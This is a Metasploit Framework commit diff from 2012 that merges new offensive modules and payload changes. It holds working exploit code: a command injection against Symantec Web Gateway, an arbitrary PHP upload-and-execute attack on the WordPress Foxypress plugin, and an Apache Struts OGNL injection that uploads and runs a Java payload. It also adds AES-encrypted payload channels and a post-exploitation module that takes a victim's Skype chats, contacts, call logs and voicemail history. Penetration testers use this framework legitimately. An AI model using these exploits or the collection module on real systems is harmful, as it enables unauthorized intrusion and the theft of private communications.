Merge branch 'master' into feature/vuln-info

unstable
HD Moore 2012-06-12 12:41:41 -05:00
commit 6290bba71b
18 changed files with 890 additions and 15 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,42 @@
package metasploit;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Utility class to enable AES encryption for stagers. This is in its own class
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
* it into the main {@link Payload} class would have made it impossible for
* other/older JREs to load it.
*/
public class AESEncryption {
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
DataInputStream din = new DataInputStream(in);
din.readInt(); // first class size 0 as marker in JavaPayload
SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16];
sr.nextBytes(outIV);
out.write(outIV);
out.flush();
byte[] inIV = new byte[16];
din.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
return new Object[] {
new CipherInputStream(din, ci),
new CipherOutputStream(out, co),
};
}
}

View File

@ -108,6 +108,9 @@ public class Payload extends ClassLoader {
if(props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
@ -207,6 +210,15 @@ public class Payload extends ClassLoader {
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];

View File

@ -10,6 +10,7 @@ require 'rex/parser/burp_session_nokogiri'
require 'rex/parser/ci_nokogiri'
require 'rex/parser/wapiti_nokogiri'
require 'rex/parser/openvas_nokogiri'
require 'rex/parser/fusionvm_nokogiri'
# Legacy XML parsers -- these will be converted some day
@ -2678,6 +2679,9 @@ class DBManager
if (firstline.index("<NeXposeSimpleXML"))
@import_filedata[:type] = "NeXpose Simple XML"
return :nexpose_simplexml
elsif (firstline.index("<FusionVM"))
@import_filedata[:type] = "FusionVM XML"
return :fusionvm_xml
elsif (firstline.index("<NexposeReport"))
@import_filedata[:type] = "NeXpose XML Report"
return :nexpose_rawxml
@ -4631,6 +4635,15 @@ class DBManager
res
end
def import_fusionvm_xml(args={})
args[:wspace] ||= workspace
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
doc = Rex::Parser::FusionVMDocument.new(args,self)
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
parser.parse(args[:data])
end
#
# Import Nmap's -oX xml output
#

View File

@ -146,7 +146,7 @@ module BindTcp
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
begin
handle_connection(client_copy)
handle_connection(wrap_aes_socket(client_copy))
rescue
elog("Exception raised from BindTcp.handle_connection: #{$!}")
end
@ -157,6 +157,53 @@ module BindTcp
}
end
def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
return sock
end
socks = Rex::Socket::tcp_socket_pair()
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)
m = OpenSSL::Digest::Digest.new('md5')
m.reset
key = m.digest(datastore["AESPassword"] || "")
Rex::ThreadFactory.spawn('AESEncryption', false) {
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}
Rex::ThreadFactory.spawn('AESEncryption', false) {
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}
return socks[1]
end
#
# Nothing to speak of.
#

View File

@ -161,7 +161,7 @@ module ReverseTcp
while true
client = self.handler_queue.pop
begin
handle_connection(client)
handle_connection(wrap_aes_socket(client))
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
end
@ -169,6 +169,51 @@ module ReverseTcp
}
end
def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
return sock
end
socks = Rex::Socket::tcp_socket_pair()
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)
m = OpenSSL::Digest::Digest.new('md5')
m.reset
key = m.digest(datastore["AESPassword"] || "")
Rex::ThreadFactory.spawn('AESEncryption', false) {
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}
Rex::ThreadFactory.spawn('AESEncryption', false) {
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}
return socks[1]
end
#
# Stops monitoring for an inbound connection.

View File

@ -0,0 +1,108 @@
require "rex/parser/nokogiri_doc_mixin"
module Rex
module Parser
# If Nokogiri is available, define document class.
load_nokogiri && class FusionVMDocument < Nokogiri::XML::SAX::Document
include NokogiriDocMixin
def start_element(name=nil,attrs=[])
return nil if in_tag("JobOrder")
attrs = normalize_attrs(attrs)
attrs = attr_hash(attrs)
@state[:current_tag][name] = true
case name
when "IPAddress"
thost={}
return nil unless attrs["IPAddress"] and attrs["HostName"]
thost = {
:host => attrs["IPAddress"],
:name => attrs["HostName"],
:workspace => @args[:wspace]
}
thost[:host] = attrs["IPAddress"]
thost[:name] = attrs["HostName"]
@host = db_report(:host, thost)
when "OS"
@state[:has_text] = true
when "Port"
@service = {
:host => @host,
:port => attrs["Number"],
:state => "open"
}
when "Service"
@state[:has_text] = true
when "Protocol"
@state[:has_text] = true
when "Exposure"
@vuln = {
:host => @host,
:refs => []
}
when "Title"
@state[:has_text] = true
when "Description"
@state[:has_text] = true
when "CVE"
@state[:has_text] = true
when "References"
@state[:has_text] = true
end
end
def end_element(name=nil)
unless in_tag("JobOrder")
case name
when "OS"
unless @host.nil? or @text.blank?
tnote = {
:type => "host.os.fusionvm_fingerprint",
:data => { :os => @text.strip },
:host => @host,
:workspace => @args[:wspace]
}
db_report(:note, tnote)
@host.normalize_os
end
when "IPAdress"
@host = nil
when "Service"
@service[:name] = @text.strip
when "Protocol"
@service[:proto] = @text.strip.downcase
when "Port"
db_report(:service, @service)
when "Exposure"
db_report(:vuln, @vuln)
when "Title"
@vuln[:name] = @text.strip
when "Description"
@vuln[:info] = @text.strip
when "CVE"
@vuln[:refs] << "CVE-#{@text.strip}"
when "References"
unless @text.blank?
@text.split(' ').each do |ref|
next unless ref.start_with? "http"
if ref =~ /MS\d{2}-\d{3}/
@vuln[:refs] << "MSB-#{$&}"
else
@vuln[:refs] << "URL-#{ref.strip}"
end
end
end
end
end
@text = nil
@state[:current_tag].delete name
end
end
end
end

View File

@ -32,13 +32,17 @@ class Metasploit3 < Msf::Auxiliary
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122']
['CVE', '2012-2122'],
['OSVDB', '82804']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)
deregister_options('PASSWORD')
register_options( [
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
], self.class )
end

View File

@ -0,0 +1,97 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service due to the insecure usage of the exec() function. This module
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tenable Network Security', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0297' ],
[ 'BID', '53444' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x26",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})
if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
post_data = "subnet="
post_data << "\";" + payload.raw + ";#"
print_status("#{peer} - Sending Command injection")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}spywall/ipchange.php",
'data' => post_data
})
# If the server doesn't return the default redirection, probably
# something is wrong
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
print_error("#{peer} - Probably command not executed, aborting!")
return
end
end
end

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
'Name' => "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
service. By injecting PHP code in the access log, it is possible to load it

View File

@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
'sinn3r', # Metasploit module
'mihi' # ARCH_JAVA support
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
@ -40,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
],
'Platform' => [ 'win', 'linux'],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
@ -56,6 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))
@ -73,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
@ -120,14 +128,63 @@ class Metasploit3 < Msf::Exploit::Remote
@payload_exe = "/tmp/" + file
end
def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def java_stager
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
append = 'false'
jar = payload.encoded_jar.pack
chunk_length = 384 # 512 bytes when base64 encoded
while(jar.length > chunk_length)
java_upload_part(jar[0, chunk_length], @payload_exe, append)
jar = jar[chunk_length, jar.length - chunk_length]
append='true'
end
java_upload_part(jar, @payload_exe, append)
cmd = ""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd << "#q.setAccessible(true),#q.set(null,true),"
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd << "#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
# load class
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end
def on_new_session(client)
if client.type != "meterpreter"
print_error("Please use a meterpreter payload in order to automatically cleanup.")
print_error("The #{@payload_exe} file must be removed manually.")
return
end
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
if client.sys.config.sysinfo["OS"] =~ /Windows/
print_error("Windows does not allow running executables to be deleted")
print_error("The #{@payload_exe} file must be removed manually after migrating")
return
end
print_status("Deleting the #{@payload_exe} file")
client.fs.file.rm(@payload_exe)
end
def exploit
@ -142,6 +199,8 @@ class Metasploit3 < Msf::Exploit::Remote
linux_stager
when 'win'
windows_stager
when 'java'
java_stager
else
raise RuntimeError, 'Unsupported target platform!'
end

View File

@ -0,0 +1,109 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plug-in versions 0.4.2.1 and below are vulnerable.
},
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['EDB', '18991'],
['OSVDB', '82652'],
['BID', '53805'],
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending PHP payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => post_data.to_s
})
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php"
})
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
end
end

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
'Name' => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability in the OLE32 component of
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
[ 'MSB', 'MS11-093'],
[ 'CVE', '2011-3400' ],
[ 'OSVDB', '77663'],
[ 'BID', '50977' ],

View File

@ -192,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packging directory: #{file}")
print_status("Packaging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|

View File

@ -38,6 +38,7 @@ module Metasploit3
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@ -49,6 +50,15 @@ module Metasploit3
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c

View File

@ -38,6 +38,7 @@ module Metasploit3
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@ -49,6 +50,15 @@ module Metasploit3
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]

View File

@ -0,0 +1,318 @@
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'csv'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/osx/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
'Description' => %q{
This module will enumerate the Skype accounts settings, contact list, call history, chat logs,
file transfer history and voicemail log saving all the data in to CSV files for analysis.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows', 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
register_advanced_options(
[
# Set as an advanced option since it can only be useful in shell sessions.
OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]),
], self.class)
end
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin
require 'sqlite3'
rescue LoadError
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
return
end
if (session.platform =~ /java/) || (session.platform =~ /osx/)
# Make sure a Java Meterpreter on anything but OSX will exit
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
print_error("This session type and platform are not supported.")
return
end
# Iterate thru each user profile on as OSX System for users not in the default install
users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact
users.each do |p|
if check_skype("#{p['dir']}/Library/Application Support/", p['name'])
db_in_loot = download_db(p)
# Exit if file was not successfully downloaded
return if db_in_loot.nil?
process_db(db_in_loot,p['name'])
end
end
elsif (session.platfom =~ /win/ and session.type =~ /meter/)
# Iterate thru each user profile in a Windows System using Meterpreter Post API
grab_user_profiles().each do |p|
if check_skype(p['AppData'],p['UserName'])
db_in_loot = download_db(p)
process_db(db_in_loot,p['UserName'])
end
end
else
print_error("This session type and platform are not supported.")
end
end
# Check if Skype is installed. Returns true or false.
def check_skype(path, user)
dirs = []
if session.type =~ /meterpreter/
session.fs.dir.foreach(path) do |d|
dirs << d
end
else
dirs = cmd_exec("ls -m \"#{path}\"").split(", ")
end
dirs.each do |dir|
if dir =~ /Skype/
print_good("Skype account found for #{user}")
return true
end
end
print_error("Skype is not installed for #{user}")
return false
end
# Download file using Meterpreter functionality and returns path in loot for the file
def download_db(profile)
if session.type =~ /meterpreter/
if sysinfo['OS'] =~ /Mac OS X/
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
else
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
end
else
file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
end
file_loc = store_loot("skype.config",
"binary/db",
session,
"main.db",
"Skype Configuration database for #{profile['UserName']}"
)
file.each do |db|
if session.type =~ /meterpreter/
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
print_status("Downloading #{maindb}")
session.fs.file.download_file(file_loc,maindb)
else
print_status("Downloading #{db}")
# Giving it 1:30 minutes to download since the file could be several MB
maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT'])
if maindb.nil?
print_error("Could not download the file. Set the TIMEOUT option to a higher number.")
return
end
# Saving the content as binary so it can be used
output = ::File.open(file_loc, "wb")
maindb.each_line do |d|
output.puts(d)
end
output.close
end
print_good("Configuration database saved to #{file_loc}")
end
return file_loc
end
# Saves rows returned from a query to a given CSV file
def save_csv(data,file)
CSV.open(file, "w") do |csvwriter|
data.each do |record|
csvwriter << record
end
end
end
# Extracts the data from the DB in to a CSV file
def process_db(db_path,user)
db = SQLite3::Database.new(db_path)
# Extract information for accounts configured in Skype
print_status("Enumerating accounts")
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
datetime("timestamp","unixepoch")"registration_timestamp",
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about",
datetime("profile_timestamp","unixepoch"), "received_authrequest",
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
"verified_email", "verified_company" FROM Accounts;')
# Check if an account exists and if it does enumerate if not exit.
if user_rows.length > 1
user_info = store_loot("skype.accounts",
"text/plain",
session,
"",
"skype_accounts.csv",
"Skype User #{user} Account information from configuration database."
)
print_good("Saving account information to #{user_info}")
save_csv(user_rows,user_info)
else
print_error("No skype accounts are configured for #{user}")
return
end
# Extract chat log from the database
print_status("Extracting chat message log")
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
datetime("timestamp","unixepoch"), "body_xml",
"remote_id" FROM "Messages" WHERE type == 61;')
chat_log = store_loot("skype.chat",
"text/plain",
session,
"",
"skype_chatlog.csv",
"Skype User #{user} chat log from configuration database."
)
if cl_rows.length > 1
print_good("Saving chat log to #{chat_log}")
save_csv(cl_rows, chat_log)
else
print_error("No chat logs where found!")
end
# Extract file transfer history
print_status("Extracting file transfer history")
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
"filepath", "filename", "filesize", "bytestransferred",
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
file_transfer = store_loot("skype.filetransfer",
"text/csv",
session,
"",
"skype_filetransfer.csv",
"Skype User #{user} file transfer history."
)
# Check that we have actual file transfers to report
if ft_rows.length > 1
print_good("Saving file transfer history to #{file_transfer}")
save_csv(ft_rows, file_transfer)
else
print_error("No file transfer history was found!")
end
# Extract voicemail history
print_status("Extracting voicemail history")
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
"size", "path", "xmsg" FROM "Voicemails";')
voicemail = store_loot("skype.voicemail",
"text/csv",
session,
"",
"skype_voicemail.csv",
"Skype User #{user} voicemail history."
)
if vm_rows.length > 1
print_good("Saving voicemail history to #{voicemail}")
save_csv(vm_rows, voicemail)
else
print_error("No voicemail history was found!")
end
# Extracting call log
print_status("Extracting call log")
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
"is_incoming", "is_conference", "is_on_hold",
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
call_log = store_loot("skype.callhistory",
"text/csv",
session,
"",
"skype_callhistory.csv",
"Skype User #{user} call history."
)
if call_rows.length > 1
print_good("Saving call log to #{call_log}")
save_csv(call_rows, call_log)
else
print_error("No call log was found!")
end
# Extracting contact list
print_status("Extracting contact list")
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
"birthday", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
"main_phone", "phone_home_normalized", "phone_office_normalized",
"phone_mobile_normalized", "verified_email", "verified_company"
FROM "Contacts";')
contact_log = store_loot("skype.contactlist",
"text/csv",
session,
"",
"skype_contactlist.csv",
"Skype User #{user} contact list."
)
if ct_rows.length > 1
print_good("Saving contact list to #{contact_log}")
save_csv(ct_rows, contact_log)
end
end
end